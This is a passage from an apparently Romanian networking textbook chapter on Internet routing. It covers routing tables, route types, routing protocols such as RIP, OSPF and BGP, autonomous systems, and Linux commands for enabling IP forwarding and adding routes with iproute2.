Dac noul calculator are o plac de reea, atunci va avea i adres MAC, singura problem fiind aceea de a face rost i de a atribui calculatorului o adres IP. O calitate important a Internetului const n capacitatea calculatoarelor de a fi TCP/IP compliant, adic de a rula stiva de protocoale TCP/IP i de a poseda o adres IP. Internetul poate fi definit mai precis ca ansamblul global al tuturor reelelor interconectate ce sunt TCP/IP compliant. Dup cum s-a precizat, pentru a conecta dou calculatoare este nevoie de diverse dispozitive de interconectare. Un astfel de dispozitiv este routerul. Routerul face posibil scalabilitatea Internetului, i astfel chiar existena sa. Prin urmare, orice definiie relevant a Internetului trebuie s porneasc mai degrab de la routere dect de la staii. Odat cu dispozitivele de interconectare apar i numeroase protocoale. Privit din punctul de vedere al funcionrii sale, Internetul este definit de simbioza a dou tipuri de protocoale de nivel reea: protocoale de rutare i protocoale rutate. Protocoalele de rutare sunt cele ce stabilesc regulile prin care informaiile despre reele sunt schimbate ntre routere n scopul obinerii unei tabele de rutare adecvate topologiei.

133 | R u t a r e a n I n t e r n e t

Protocoalele rutate sunt acele protocoale responsabile pentru asigurarea unui mod de identificare a entitilor ce particip n Internet prin stabilirea unei scheme de adresare ce trebuie s asigure unicitatea i ierarhizarea adreselor.

4.1.2 Tabele de rutare


n capitolul Ethernet au fost prezentate tabelele de comutare precum i procesul de decizie pentru switchuri. Tabela de comutare este o list de reguli, fiecare cuprinznd o parte de identificare (matching) i una de aciune, n spe interfaa de ieire din switch (portul). n partea de identificare se afl o adres MAC destinaie, iar n partea de aciune este precizat una din interfeele switchului. Datorit dimensiunii mult mai mari a Internetului acest mod de decizie a trebuit rafinat n dou direcii: alegerea unei scheme de adresare ierarhice, pe de o parte, i implementarea unor algoritmi ct mai performani de cutare i implicit de stocare a informaiilor, pe de alt parte. n ceea ce privete prima direcie, dei are o vrst venerabil, IPv4 ofer o schem de adresare satisfctoare, dei puin flexibil. Prin urmare, IPv6 va trebui s ofere multe alte avantaje pe lng extinderea lungimii adresei de la 32 la 128 de bii, pentru a reui s se impun drept nlocuitorul lui IPv4. Cea de-a doua direcie este ndeplinit cu ajutorul unor algoritmi de caching specifici dispozitivului de rutare i sistemului de operare asociat. Similar cu switchul, routerul folosete o tabel de rutare pentru dirijarea pachetelor catre destinaie. O intrare n tabela de rutare se mai numete i rut. O rut este o regul ce cuprinde o parte de identificare i una de aciune. Partea de identificare este compus din dou elemente: adresa reelei destinaie i masca acesteia, n vreme ce partea de aciune poate fi exprimat prin ambele sau doar unul dintre urmtoarele elemente: adresa urmtorului router (numit next hop address) i interfaa de ieire din router. O tabel de rutare este o list de rute cu acces secvenial. n figura de mai jos este prezentat o tabel de rutare. Important de remarcat este faptul c, dei folosirea tabelei de rutare se face analiznd secvenial rutele ncepnd cu prima, construcia tabelei se face prin inserarea unei noi rute n faa primei rute cu un prefix mai scurt dect aceasta. Drept rezultat lungimea mtii de reea va scdea odat cu parcurgerea tabelei de rutare. Altfel spus, informaiile referitoare la reelele mici se vor gsi naintea informaiilor despre reelele mai mari. Se mai poate observa c pentru unele rute este precizat doar adresa urmtorului router, n vreme ce pentru altele doar interfaa de ieire. Dei adresa urmtorului hop este ntotdeauna de ajuns pentru specificarea complet a unei rute, informaia despre interfaa de ieire este insuficient n cazul n care aceast interfa este conectat la un mediu multiacces. Astfel, dei o rut valid poate preciza doar interfaa de ieire n cazul unei legturi seriale (sau orice alt legtur punct la punct), aceeai rut este considerat ambigu n cazul unei legturi Ethernet, n acest al doilea caz fiind necesar precizarea adresei urmtorului hop. Adres reea 194.230.85.0 194.230.85.128 194.230.85.0 194.230.86.0 Masc /26 /26 /24 /24 Next hop 172.17.0.9 194.230.5.65 199.17.17.0 Interfa E0 S0 E1 -

4-1: Tabel de rutare cu patru intrri

134 | R e e l e L o c a l e

Pentru a nelege mai uor modul de decizie a unui router se va presupune c un router cu o tabel de rutare identic cu cea prezentat n figura de mai sus primete un pachet cu adresa destinaie 194.230.85.66. Din ntregul pachet singura informaie relevant pentru nivelul reea al unui router este adresa logic destinaie. n primul rnd, routerul va trebui s determine dac nu este el destinatarul acestui pachet, iar pentru aceasta va compara adresele logice ale tuturor interfeelor sale active cu adresa destinaie a pachetului. Dac este destinatarul pachetului atunci va trimite datele nivelurilor superioare. n cazul n care routerul nu are nicio interfa activ cu aceeai adres ca cea a pachetului, routerul va trece la pasul doi, ncercnd s determine dac destinaia se afl n aceeai reea ca i sursa. Pentru aceasta va analiza adresa i masca interfeei pe care a primit pachetul n cauz. Astfel va aplica masca asociat interfeei de intrare pe adresa interfeei urmnd ca rezultatul s fie comparat cu rezultatul operaiei de i logic ntre aceeai masc de reea i adresa destinaie. Dac cele dou rezultate coincid, routerul va ignora pachetul, altfel urmnd s nceap procesul efectiv de rutare. Prima rut din tabela de rutare va fi extras, iar rezultatul operaiei de i logic ntre adresa destinaie i masca de reea cuprins n aceast rut va fi comparat cu adresa de reea. n cazul n care cele dou valori coincid, antetul de nivel legtur de date al pachetului va fi rescris (antetul de nivel reea rmnnd neschimbat) i pachetul va fi trimis ctre urmtorul hop. Dac valorile difer, va fi extras urmtoarea rut pn la gsirea primei potriviri sau pn la epuizarea rutelor, caz n care pachetul urmeaz s fie ignorat. n cazul exemplului de fa, se presupune c pachetul cu destinaia 194.230.85.66 trebuie rutat. Prima rut va aplica masca /26 adresei destinaie, rezultnd 194.230.85.64, valoare diferit de 194.230.85.0. Nici a doua rut nu este potrivit pentru aceast destinaie, astfel ajungndu-se la cea de a treia rut. Aparent prima i a treia rut se refer la aceeai reea. La o privire mai atent mtile de reea difer, astfel a treia rut se refer la un spaiu de adrese de patru ori mai mare dect prima. n realitate, datorit caracterului secvenial al utilizrii tabelelor de rutare i a faptului c primele dou rute se refer la dou sferturi din acelai spaiu de adrese, numrul de adrese diferite ce vor folosi a treia rut va fi doar dublu (i nu de patru ori mai mare) dect numrul de adrese ce vor folosi prima rut. n urma aplicrii mtii /24 pentru adresa destinaie, rezult 194.230.85.0 i anume adresa reelei destinaie din aceast rut. Pentru a putea trimite pachetul va trebui aflat adresa MAC a urmtorului hop, i anume 194.230.5.65. n urma interogrii tabelei ARP sau a unei cereri ARP, adresa MAC surs este rescris cu adresa MAC a interfeei E1, iar adresa MAC destinaie este nlocuit cu adresa MAC corespunztoare urmtorului hop.

4.1.3 Clasificarea rutelor


Exist numeroase criterii de clasificare a rutelor. Unele criterii prezint o relevan redus pentru Internetul secolului 21. Cteva dintre ele vor fi amintite totui, deoarece, n anii de expansiune a Internetului, structurau nelegerea reelei globale. La nceputul anilor 90 o rut nu coninea masca de reea, ntregul proces de rutare fiind classfull. Astfel, o prim clasificare ar fi n funcie de tipul procesului de rutare, i anume rute classfull sau rute classless. Odat cu trecerea timpului i cu creterea n popularitate a adresrii classless tabelele de rutare au devenit classless chiar dac sunt alimentate uneori de protocoale de rutare classfull (adic protocoale ce nu transmit i informaii despre masca de reea), routerele urmnd s precizeze explicit masca de reea nainte de a introduce informaiile n tabela de rutare.

135 | R u t a r e a n I n t e r n e t

n rutarea cu rute classfull procesul este diferit, i anume adresa destinaie extras din antetul unui pachet ajuns la router va fi mai nti comparat cu 192, i n cazul n care e mai mic de 192 va fi comparat cu 128, determinndu-se astfel clasa de adrese i implicit masca de reea. Din acest punct procesul este similar cu cel din rutarea classless, adic se va efectua o operaie de i logic ntre adresa destinaie i masca reelei, rezultatul urmnd a fi comparat cu adresa de reea coninut n rut. Odat cu rspndirea rutrii classless a aprut clasificarea rutelor n funcie de tipul destinaiei. Astfel sunt rute de tip nod (sau rute host) i rute de tip reea. Rutele host conin informaii doar despre o singur staie, adic masca de reea este /32. Odat cu creterea Internetului, i implicit a dimensiunii tabelelor de rutare, a crescut i presiunea de a agrega ct mai mult rutele, precum i a se renuna la rutele de tip nod. Cu toate acestea, datorit modului de inserare a rutelor, i deci datorit promovrii rutelor de tip nod la nceputul tabelei de rutare, acestea avnd prefixul maxim, rutele host mai sunt nc folosite pentru unele optimizri de trafic, mai ales pe routerele de la periferia Internetului. Al treilea criteriu de clasificare a rutelor este n funcie de modul de conectare, iar cele dou tipuri de rute sunt: rutele direct conectate i rutele gateway (ctre reele distante). Rutele direct conectate sunt rute ctre reele n care routerul n cauz are o interfa, i n majoritatea cazurilor aceste rute sunt automat introduse n tabela de rutare de sistemul de operare n momentul configurrii i activrii interfeei respective. Rutele direct conectate nu conin, n general, adresa urmtorului hop, avnd specificat doar interfaa de ieire din router. Astfel, rutele direct conectate sunt singurele rute valide care pot avea specificat ca interfa de ieire o interfa multiaccess (gen Ethernet), fr a necesita precizarea adresei urmtorului hop. O a patra clasificare a rutelor se face n funcie de mediul de acces la reea, avnd astfel rute pe medii punct la punct i rute pe medii multiacces. Rutele ctre o reea conectat pe o legtur punct la punct pot fi specificate ori prin interfaa de ieire din router, ori prin adresa urmtorului hop, ori prin ambele. Rutele pe medii multiacces sunt specificate doar prin adresa urmtorului hop, interfaa de ieire nefiind suficient. Din punctul de vedere al unui router, dou medii de transmisie acoper marea majoritate a rutelor; altfel spus, dou tipuri anume de interfee sunt mult mai populare dect restul. Cele dou tipuri de interfee sunt interfeele Ethernet i cele seriale. Ethernet permite transmisia peste un mediu multiacces, n vreme ce interfaa serial este punct la punct. Alte interfee punct la punct destul de rspndite sunt cele de fibr optic i cele ISDN. Un tip special de rut este ruta implicit. O ruta implicit (rut default) este ruta spre care se trimit toate pachetele pentru care nu se cunoate o destinaie specific. Altfel spus, ruta implicit este ruta care se potrivete cu toate destinaiile, avnd n partea de adres de reea din rut un spaiu de adrese ce cuprinde toate adresele IP. Acest spaiu de adrese este 0.0.0.0/0 i, dei deseori ruta implicit este denumit ca ruta cu 4 de zero sau quad-zero route, caracteristica distinctiv a acestei rute se afl n masca de lungime zero. Exist situaii n care pot exista mai multe rute implicite ntr-o tabel de rutare. n tabela de rutare de mai jos, ultimele dou rute sunt dou rute implicite. Adres reea Masc Next hop Interfa ...... 0.0.0.0 /0 194.230.5.65 S0 0.0.0.0 /0 S1 4-2: Tabel de rutare cu dou rute implicite

136 | R e e l e L o c a l e

Dac ambele rute apar n tabela de rutare, este evident c niciun pachet nu va ajunge s fie prelucrat de cea de-a doua rut implicit, toate pachetele fiind acceptate de prima. Dezactivarea unei interfee, ca urmare a nchiderii administrative sau a ntreruperii legturii de nivel fizic sau de nivel legtur de date, are ca rezultat nlturarea tuturor rutelor ce folosesc respectiva interfa ca interfa de ieire din router. Astfel, n absena celei de-a doua rute implicite n cazul dezactivrii interfeei S0, toate pachetele care ar fi fost rutate prin prima rut implicit ar urma s fie ignorate. n concluzie, ntr-o tabel de rutare exist o singur rut implicit activ, dar pot fi precizate mai multe rute default n scopuri de backup. Ultima clasificare este i cea mai relevant n prezent. Pornind de la informaia pe baza creia sunt construite rutele, distingem rutele statice de rutele dinamice. Aceast clasificare se refer doar la rutele gateway, deoarece rutele direct conectate sunt introduse automat n tabela de rutare.

4.1.4 Rute statice


Rutele statice sunt introduse manual de administratorul routerului, spre deosebire de rutele dinamice care necesit configurarea unui protocol de rutare. O rut static va aprea n tabela de rutare numai atunci cnd interfaa de ieire din router este configurat corect i activat. O limitare a folosirii rutelor statice este c schimbrile n topologia reelei trebuie cel mai adesea s fie actualizate manual pe router de administrator. Dei exist modaliti de minimizare a efectului schimbrilor n topologie, aceste procedee duc la mrirea dimensiunii tabelei de rutare. Pe de alt parte, orice protocol de rutare necesit o anumit lime de band pentru actualizarea tabelelor de rutare. Odat primit, informaia de rutare trebuie prelucrat nainte de a fi introdus n tabela de rutare, unele protocoale de rutare consumnd cantiti semnificative de timp de procesor sau de memorie. Spre deosebire de rutarea dinamic, rutarea static nu are cerine de lime de band, timp de procesor sau memorie (n afar de memoria efectiv ocupat de tabela de rutare). Introducerea manual de informaii poate prea o metod arhaic de administrare, dar, n cazul routerelor de la periferia Internetului, rutarea static este adesea mai potrivit dect rutarea dinamic. Multe dintre reelele de mici dimensiuni nu au o legtur redundant la Internet, astfel nct specificarea legturii de Internet printr-o rut static sau dinamic sunt la fel de inutile n cazul ntreruperii conexiunii. n concluzie, rutele statice nu sunt o soluie depit de configurare a routerelor, iar viitorul nu pare s anune nlocuirea rutrii statice cu rutarea dinamic. Rutarea static continu s fie soluia optim pentru reelele cu un grad redus de complexitate sau pentru reelele stub (reele cu o singur conexiune la Internet).

4.2 Protocoale rutate


Protocolul IP, prezentat ntr-un capitol anterior, este de fapt singurul protocol rutat folosit n Internet ncepnd cu anii 2000. Cele dou protocoale rutate concurente pentru IP sunt Apple Talk i IPX. Implementrile soluiilor de conectare peste Internet bazate pe aceste protocoale sunt rare, dar cele dou protocoale rmn nc destul de folosite n reelele locale.

137 | R u t a r e a n I n t e r n e t

Dei Macintosh ocup 3,5% din piaa mondial de calculatoare personale, efortul pentru susinerea soluiilor bazate pe Apple Talk n rndul marilor productori de echipamente de reea s-a diminuat rapid, trecnd pe un plan colateral ncepnd cu anii `95. IPX, n schimb, a fost mult vreme un competitor redutabil pentru IP. De fapt, competiia dintre stiva de protocoale TCP/IP i SPX/IPX s-a tradus n limbajul reelelor locale de calculatoare n competiia dintre Microsoft i Novell. O discuie a avantajelor unuia dintre protocoale fa de cellalt poate ocupa destul spaiu. n cele din urm, rspunsul la ntrebarea de ce IP, i nu IPX? ine mai degrab de raiuni de marketing dect de raiuni tehnice. Singura concuren real pentru protocolul IPv4 este protocolul IPv6, dar slaba sa rspndire actual poate susine afirmaia c exist, de fapt, un singur protocol rutat n Internet. Mai mult, migraia ctre IPv6 nu a nceput din nucleul Internetului pentru a se propaga apoi spre reelele locale. n prezent exist reele locale IPv6 legate cel mai adesea prin mecanisme de tunelare peste IPv4.

4.3 Protocoale de rutare


4.3.1 Determinarea cii optime
Protocoalele de rutare, uneori denumite i protocoale de rutare dinamic, au drept obiectiv schimbarea informaiilor despre reelele cunoscute ntre routerele ce ruleaz acelai protocol de rutare. Pe baza acestor informaii se construiesc rutele dinamice. Routerele au cte o tabel de rutare pentru fiecare protocol rutat. Pentru un protocol rutat dat informaiile oferite de toate protocoalele de rutare se regsesc ntr-o singur tabel. Prin urmare, aceeai tabel de rutare va conine rutele direct conectate, rutele statice i cele dinamice. Un router poate rula unul sau mai multe protocoale de rutare, numrul protocoalelor de rutare ce pot fi rulate fiind limitat n general de sistemul de operare sau de modelul routerului. Un router Cisco, de exemplu, ruleaz n general pn la 30 de instane de protocoale de rutare. O problem care apare este c acelai protocol de rutare poate s furnizeze dou sau mai multe rute ctre aceeai destinaie; pot, de asemenea, exista dou rute dinamice ctre aceeai reea provenite din protocoale de rutare diferite. Astfel, dei exist trei tipuri de rute, este necesar specificarea un mecanism de comparare a rutelor ntre ele. Mai mult, trebuie ca toate rutele s fie ierarhizate. Cele dou criterii de ierarhizare a rutelor sunt distana administrativ i metrica. Distana administrativ este un numr ntre 0 i 255, asociat cu un tip de rut sau cu un protocol de rutare, ce permite ierarhizarea protocoalelor de rutare. Metrica unei rute este un numr, rezultat din aprecierea calitii unui drum spre o anumit destinaie n raport cu un set de criterii. Metrica i setul de criterii sunt relevante pentru un anumit protocol de rutare. Prin urmare, nu are sens compararea metricilor unor rute obinute prin protocoale de rutare diferite. Altfel spus, distana administrativ deosebete dou protocoale de rutare, n vreme ce metrica deosebete dou rute ale aceluiai protocol de rutare. Rutele statice sunt singurele rute pentru care distana administrativ poate fi schimbat. Distanele administrative pentru unele dintre cele mai folosite protocoale de rutare sunt precizate n tabelul de mai jos:

138 | R e e l e L o c a l e

Tip rut Direct conectat Rut static Rut agregat BGP EIGRP IGRP OSPF IS-IS RIP ODR iBGP

Distana administrativ 0 1 5 20 90 100 110 115 120 160 200

4-3: Valorile distanelor administrative

4.3.2 Clasificarea protocoalelor de rutare


Exist numeroase clasificri ale protocoalelor de rutare. n continuare vor fi prezentate dou dintre acestea. n vreme ce staiile sunt grupate n reele pentru a oferi o ierarhizare a spaiului de adrese, reelele sunt grupate, la rndul lor, n colecii de reele aflate sub o administraie comun numite sisteme autonome (AS). Astfel, o prim clasificare a protocoalelor de rutare se face n protocoale de rutare inter-AS, folosite pentru schimbul informaiilor de rutare ntre sisteme autonome diferite i protocoale de rutare intern, adic protocoale folosite n cadrul aceluiai sistem autonom. Cea de-a doua clasificare a protocoalelor de rutare se refer doar la clasificarea protocoalelor de rutare intern, n funcie de modul de schimbare a informaiei de rutare. Cele trei clase n care sunt mprite protocoalele de rutare intern sunt: protocoale bazate pe vectori de distan (distance-vector protocols), protocoale bazate pe starea conexiunii (linkstate protocols) i protocoale hibride. Cea de a treia categorie de protocoale de rutare intern mbin caracteristici ale protocoalelor bazate pe vectori de distan cu unele caracteristici ale protocoalelor bazate pe starea conexiunii. Aceast nou categorie este folosit pentru a clasifica protocoalele ce nu pot face parte din niciuna dintre primele dou categorii, astfel c, n cele ce urmeaz, vor fi prezentate doar protocoalele distance-vector i link-state.

4.3.3 Protocoale distance-vector


Pentru protocoalele de tip distance-vector calculul drumului optim se face pe baz de direcie (indicat de obicei prin precizarea interfeei) i distana pn la destinaie folosind direcia respectiv. Informaiile de rutare se schimb numai ntre routerele nvecinate, la intervale periodice. Aceasta rezult ntr-un timp de convergen mare, adic schimbrile aprute n topologia reelei se propag destul de greu ctre rutele mai ndeprtate de locul apariiei modificrii n cauz. Cele mai populare protocoale de rutare bazate pe vectori de distan sunt RIP 1 i IGRP, acestea fiind uor de configurat i consumnd resurse de lime de band i timp de procesor foarte reduse.

http://tools.ietf.org/html/rfc1058

139 | R u t a r e a n I n t e r n e t

RIP folosete drept metric numrul de hopuri sau routere pn la reeaua destinaie. Pentru a se evita efectele negative ale buclelor logice a fost stabilit o metric maxim, astfel nct orice informaie despre o rut cu o metric mai mare de 15 este ignorat. Actualizrile se fac transmind toate informaiile de rutare i nu doar cele ce s-au modificat de la ultima actualizare, dar sunt trimise folosindu-se adrese de difuzare. Prin urmare, pachetele de actualizare vor ajunge doar la routerele adiacente, deoarece n mod implicit routerele filtreaz pachetele de broadcast. Actualizrile se fac implicit la 30 de secunde, acest timp reprezentnd un compromis ntre timpul de convergen i cantitatea de band utilizat pentru actualizri. Astfel, timpul de convergen la RIP n cel mai defavorabil caz este de 7 minute jumtate (15 hopuri), calificnd RIP n categoria protocoalelor de rutare intern cu o convergen sczut. n msura n care se impune un timp de convergen mai mic, perioada de actualizare poate fi redus, ducnd ns la un consum mai ridicat de lime de band. Fiecare router ce primete un pachet de actualizare va incrementa metrica fiecrei rute coninute n pachet cu 1, deoarece rutele coninute n pachet i sunt accesibile prin intermediul unui hop suplimentar, i anume routerul ce a trimis pachetul de actualizare. Apoi, pentru fiecare dintre rutele din pachetul de actualizare, va ncerca s determine dac nu exist deja o rut cu o metric mai bun ctre aceeai destinaie n tabela de rutare.

4.3.4 Protocoale link state


Protocoalele de tip link-state (bazate pe starea conexiunii) construiesc o baz de date cu ntreaga topologie a reelei i calculeaz drumul cel mai scurt pe baza unui algoritm de tip Dijkstra (SPF - shortest path first). Astfel, pentru actualizarea tabelelor de rutare se trimite ntr-o prim etap ntreaga tabel de rutare ctre toate routerele ce ruleaz acelai protocol de rutare, aceasta realizndu-se prin folosirea n cmpul destinaie a unei adrese logice de multicast specifice fiecrui protocol n parte. Dup aceast etap de trimitere a tuturor informaiilor, numit i flooding, actualizrile se vor efectua doar la apariia unei schimbri n topologie, iar pachetele de actualizare vor conine doar informaii despre rutele modificate, acest metod de actualizare numindu-se actualizare incremental. Principala problem a acestor tipuri de protocoale este c fiecare dintre routere va trebui s construiasc arborele topologic, i apoi s extrag rutele ca drumuri optime n acest arbore. Acest proces necesit resurse de memorie i procesor semnificative. n plus, efortul configurrii unui protocol bazat pe starea conexiunii este adesea mult mai mare dect cel necesar pentru a configura un protocol bazat pe vectori de distan. Cu toate acestea timpul de convergen pentru protocoalele link-state este semnificativ mai redus dect pentru protocoalele distance-vector. Aceasta se datoreaz iniierii procesului de actualizare odat cu apariia modificrilor n topologie, precum i folosirii adresrii multicast, i deci a propagrii informaiilor de actualizare n ntreaga reea.

4.4 Sisteme autonome


4.4.1 Ce este un sistem autonom?
Dat fiind dimensiunea Internetului, toate protocoalele rutate trebuie s suporte o schem de adresare ierarhic. Cu toate acestea, la ora actual exist zeci de milioane de reele, astfel nct un router din nucleul Internetului ar avea o tabel de rutare uria. n realitate, n plus fa de cele dou niveluri de ierarhizare aduse de protocolul rutat, reelele sunt grupate n sisteme autonome sau AS (autonomous systems).

140 | R e e l e L o c a l e

Un sistem autonom este o colecie de routere aflate sub o administraie comun. O administraie comun se refer la un set comun de protocoale de rutare, un set de politici de securitate i de criterii de decizie. O caracteristic important a unui AS este faptul c orice ISP, pentru a putea activa n Internet, trebuie s se afilieze unui sistem autonom. Un sistem autonom este identificat printr-un numr AS denumit i adres AS. Acest numr poate fi cuprins ntre 1 i 65.535, cu toate c ultimul segment al acestui spaiu de adrese, i anume numerele ntre 64.512 i 65.535, sunt rezervate pentru uz privat, similar claselor de adrese IP private. Atribuirea unui numr AS se face de IANA (Internet Assigned Numbers Authority). Preul de 100 USD este nesemnificativ, dar costul real pentru un ISP ine de birocraia obinerii adresei. Procedura de justificare a unui numr AS face imposibil obinerea unui numr AS de ISP-urile mici i medii. Singura opiune pentru acestea este de a intra ntr-un AS deja existent i de a accepta regulile i politicile de securitate i rutare ale acestuia.

4.4.2 Protocoale de rutare inter-AS


Odat cu gruparea reelelor n sisteme autonome a aprut i problema dezvoltrii de protocoale care s fac fa cerinelor rutrii ntre AS-uri. n acest scop s-a definit clasificarea protocoalelor n protocoale de tip IGP (Interior Gateway Protocol) i protocoale de tip EGP (Exterior Gateway Protocol). IGP sunt protocoalele de rutare interioare unui sistem autonom, iar EGP sunt protocoalele de rutare exterioare unui AS, sau, altfel spus, protocoale de rutare inter-AS. Prima i cea mai important cerin pentru un protocol de tip EGP este de a face fa unor tabele de rutare semnificativ mai mari dect orice se poate ntlni n interiorul unui AS. O tabel de Internet actual care este schimbat ntre dou routere de grani din sisteme autonome diferite cuprinde aproximativ 180.000 de rute. A doua cerin este cea de flexibilitate. Dei unele dintre protocoalele interne folosesc pn la cinci factori pentru determinarea metricii, folosirea unei formule pentru determinarea costului unei rute nu ofer un grad suficient de flexibilitate. Procesul complet de comparare a dou sau mai multe rute pentru BGPv4, spre exemplu, este un algoritm cu 13 pai. n plus, numrul informaiilor asociate cu o rut crete semnificativ. Pentru un IGP singurele informaii transmise sunt: reea destinaie, masc, metric, n vreme ce pentru BGP mai trebuie precizate i atribute ca: origin, as_path, next_hop, local_pref, atomic_aggregate, aggregator, multi_exit_disc. O alt schimbare fa de rutarea intern o reprezint schimbarea paradigmei de securitate. Astfel, dac s-ar considera un protocol de rutare inter-AS dup criteriile rutrii clasice (adic interne), EGP ar fi n categoria extrem-paranoic. Aceast schimbare a paradigmei de securitate, corelat cu cerina de flexibilitate, se traduce printr-o cretere a gradului de complexitate a configurrii unui EGP. Pe de alt parte, cerinele de convergen pentru un EGP sunt destul de reduse, datorit faptului c legturile de nucleu sunt extrem de stabile. Astfel, timpul de convergen pentru BGP este de ordinul orelor mai degrab dect al minutelor - precum n cazul unui protocol de rutare intern. Spre deosebire de rutarea intern, rutarea inter-AS nu las loc pentru existena mai multor protocoale diferite, datorit cantitii importante de resurse, dar i datorit numrului relativ redus de sisteme autonome. Ctigtorul competiiei este, fr ndoial, BGPv41.

http://tools.ietf.org/html/rfc4271

141 | R u t a r e a n I n t e r n e t

n principiu, BGP funcioneaz la fel ca orice protocol de rutare, n sensul c schimb tabele de rutare cu routerele vecine. n plus fa de un IGP, BGP mai transmite odat cu acestea i informaia de AS, precum i o serie de alte atribute. Astfel, un router BGP va construi aa-numitele AS-paths, specificnd AS-urile prin care trebuie sa treac un pachet pn la destinaie. Folosind aceste AS-paths, BGP evit buclele de rutare. Este important de precizat c BGP transmite mesajele ncapsulate n segmente TCP, folosind portul dedicat 179. Drept consecin, nainte de a putea rula o sesiune BGP, trebuie ca ntre cele dou noduri s existe rute. Cel mai adesea alimentarea iniial a tabelelor de rutare este realizat de un IGP, dar la fel de bine conexiunea poate fi stabilit i prin precizarea unor rute statice. nainte de a ncheia capitolul trebuie accentuat c nu exist o ierarhie unic a protocoalelor de rutare. Nu exist un cel mai bun protocol de rutare care s fie optim pentru orice reea. Deseori, insistnd pe comparaia dintre diferite protocoale, se scap din vedere c soluia cea mai bun pentru un context dat poate fi rutarea static. Acest lucru este valabil nu doar n reelele de mici dimensiuni, ci chiar i pentru interconectarea a dou sisteme autonome diferite. BGP ofer un grad ridicat de flexibilitate, dar pentru a exploata aceast flexibilitate este nevoie de mai mult de o conexiune ctre Internet. Pentru un singur furnizor de servicii Internet, o singur rut implicit poate fi suficient.

4.5 Configurri la nivel de router n Linux


Sistemul de operare Linux permite configurarea unei staii ca router. Aceasta nseamn c staia respectiv poate s primeasc pachete IP de la alte staii din reea, s determine calea spre destinaia pachetelor i, n cazul n care este posibil, s trimit traficul ctre destinaie. Pentru a realiza aceste funcii, se menine la nivelul nucleului o tabel de rutare, pe baza creia se determin traseul ctre destinaia unui pachet. O observaie important referitoare la rutarea din Linux este c nucleul lucreaz simultan cu dou tabele de rutare: FIB (Forwarding Information Base) este tabela uzual la care se face referire prin termenul de tabel de rutare, iar routing cache este o tabel ce accelereaz rutarea prin pstrarea ultimelor rute utilizate ntr-o memorie cache. Dup cum s-a prezentat n seciunile anterioare, exist dou tipuri de rute: statice (adugate manual de utilizatorul sistemului) i dinamice (nvate prin intermediul unui protocol de rutare, precum RIP, OSPF, BGP). Datorit faptului c, n general, routerele Linux se afla la periferia Internetului, rutele statice sunt suficiente pentru a asigura rutarea.

4.5.1 Activarea rutrii


Pentru a permite comutarea pachetelor ntre dou interfee ale aceleiai maini (activarea comportamentului de router), trebuie activat variabila ip_forward. Activarea se poate realiza temporar sau permanent. Activarea temporar se realizeaz prin intermediul procfs:
cuirass:~# cat /proc/sys/net/ipv4/ip_forward 0 cuirass:~# echo 1 > /proc/sys/net/ipv4/ip_forward cuirass:~# cat /proc/sys/net/ipv4/ip_forward 1

sau sysctl:
cuirass:~# sysctl -a | grep ip_forward net.ipv4.ip_forward = 0 cuirass:~# sysctl -w 'net.ipv4.ip_forward=1' net.ipv4.ip_forward = 1 cuirass:~# sysctl -a | grep ip_forward net.ipv4.ip_forward = 1

142 | R e e l e L o c a l e

Configurarea permanent se realizeaz prin editarea fiierului sysctl.conf:


cuirass:~# cat /etc/sysctl.conf | grep -B 1 ip_forward # Uncomment the next line to enable packet forwarding for IPv4 #net.ipv4.ip_forward=1 cuirass:~# vi /etc/sysctl.conf cuirass:~# cat /etc/sysctl.conf | grep -B 1 ip_forward # Uncomment the next line to enable packet forwarding for IPv4 net.ipv4.ip_forward=1

Fiierul va fi interpretat n momentul repornirii sistemului. Se poate fora repornirea sa tot prin intermediul interfeei sysctl:
cuirass:~# sysctl -a | grep ip_forward net.ipv4.ip_forward = 0 cuirass:~# sysctl -p net.ipv4.ip_forward = 1 cuirass:~# sysctl -a | grep ip_forward net.ipv4.ip_forward = 1

4.5.2 Configurarea rutelor


n mod tradiional, utilitarul route amintit mai sus este folosite pentru a aduga, respectiv pentru a terge rute din tabela de rutare. ncepnd de la versiunea de nucleu 2.2 a aprut un nou utilitar pentru configurarea parametrilor de reea, cunoscut sub numele iproute. Ajuns la cea de a doua versiune (iproute2), acesta reprezint o alternativ puternic, permind realizarea de configurri foarte sofisticate. Utilitarul iproute este folosit prin intermediul comenzii ip. Documentaia utilitarului este dat de pagina de manual (man 8 ip). n cazul rutrii o documentaie minimal poate fi vizualizat prin rularea comenzii:
cuirass:~# ip r help Usage: ip route { list | flush } SELECTOR ip route get ADDRESS [ from ADDRESS iif STRING ] [ oif STRING ] [ tos TOS ] ip route { add | del | change | append | replace | monitor } ROUTE [...]

Exemplele prezentate n continuare vor folosi preponderent utilitarul iproute2.

4.5.2.1 Vizualizare tabelei de rutare


Tabela de rutare se afieaz prin invocarea comenzii ip cu argumentul route:
cuirass:~# ip r 172.16.68.0/24 dev eth0 proto kernel default via 172.16.68.2 dev eth0 scope link src 172.16.68.128

Se observ c se pot reduce argumentele la o secven minim unic. Se pot selecta intrrile din tabela de rutare dup anumite criterii, folosind argumentul list:
cuirass:~# ip r l type local cuirass:~# ip r l type unicast 172.16.68.0/24 dev eth0 proto kernel default via 172.16.68.2 dev eth0 cuirass:~# ip r l scope link 172.16.68.0/24 dev eth0 proto kernel cuirass:~# ip r l scope host cuirass:~# ip r l scope global default via 172.16.68.2 dev eth0 scope link src 172.16.68.128

src 172.16.68.128

n tabelul de mai sus exist o rut direct conectat (link) i o rut implicit. Ruta direct conectat este interfaa eth0 prin care sistemul se conecteaz la reeaua local. Ruta implicit folosete ca gateway 172.16.68.2.

4.5.2.2 Adugarea de rute


Pentru a aduga o rut ctre o reea / host, se folosete comanda ip r a:
cuirass:~# ip r l

143 | R u t a r e a n I n t e r n e t
172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128 default via 172.16.68.2 dev eth0 cuirass:~# ip r a 192.168.38.100/32 via 172.16.68.2 cuirass:~# ip r a 192.168.38.0/24 via 172.16.68.2 cuirass:~# ip r l 192.168.38.100 via 172.16.68.2 dev eth0 192.168.38.0/24 via 172.16.68.2 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128 default via 172.16.68.4 dev eth0

n exemplul de mai sus s-a adugat o rut de tip host ctre staia cu adresa IP 192.168.38.100 i o rut de tip reea ctre reeaua 192.168.38.0. n exemplul urmtor se adaug o rut implicit:
cuirass:~# ip r a default via 172.16.68.4 cuirass:~# ip r l 192.168.38.100 via 172.16.68.2 dev eth0 192.168.38.0/24 via 172.16.68.2 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link default via 172.16.68.2 dev eth0

src 172.16.68.128

